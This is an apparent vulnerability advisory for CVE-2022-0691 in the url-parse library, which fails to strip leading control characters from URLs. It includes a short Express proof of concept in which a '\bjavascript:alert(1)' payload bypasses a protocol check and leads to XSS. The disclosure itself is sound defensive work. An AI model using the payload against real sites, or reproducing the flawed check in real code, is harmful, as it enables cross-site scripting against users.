CVE-2022-0691: url-parse incorrectly parses hostname / protocol due to unstripped leading control characters.
(updated )
Leading control characters in a URL are not stripped when passed into url-parse. This can cause input URLs to be mistakenly be interpreted as a relative URL without a hostname and protocol, while the WHATWG URL parser will trim control characters and treat it as an absolute URL.
If url-parse is used in security decisions involving the hostname / protocol, and the input URL is used in a client which uses the WHATWG URL parser, the decision may be incorrect.
This can also lead to a cross-site scripting (XSS) vulnerability if url-parse is used to check for the javascript: protocol in URLs. See following example:
const parse = require('url-parse')
const express = require('express')
const app = express()
const port = 3000
url = parse(\"\\bjavascript:alert(1)\")
console.log(url)
app.get('/', (req, res) => {
if (url.protocol !== \"javascript:\") {res.send(\"<a href=\\'\" + url.href + \"\\'>CLICK ME!</a>\")}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
References
- github.com/advisories/GHSA-jf5r-8hm2-f872
- github.com/github/advisory-database/pull/6765
- github.com/unshiftio/url-parse
- github.com/unshiftio/url-parse/commit/0e3fb542d60ddbf6933f22eb9b1e06e25eaa5b63
- huntr.dev/bounties/57124ed5-4b68-4934-8325-2c546257f2e4
- lists.debian.org/debian-lts-announce/2023/02/msg00030.html
- nvd.nist.gov/vuln/detail/CVE-2022-0691
- security.netapp.com/advisory/ntap-20220325-0006
Code Behaviors & Features
Detect and mitigate CVE-2022-0691 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →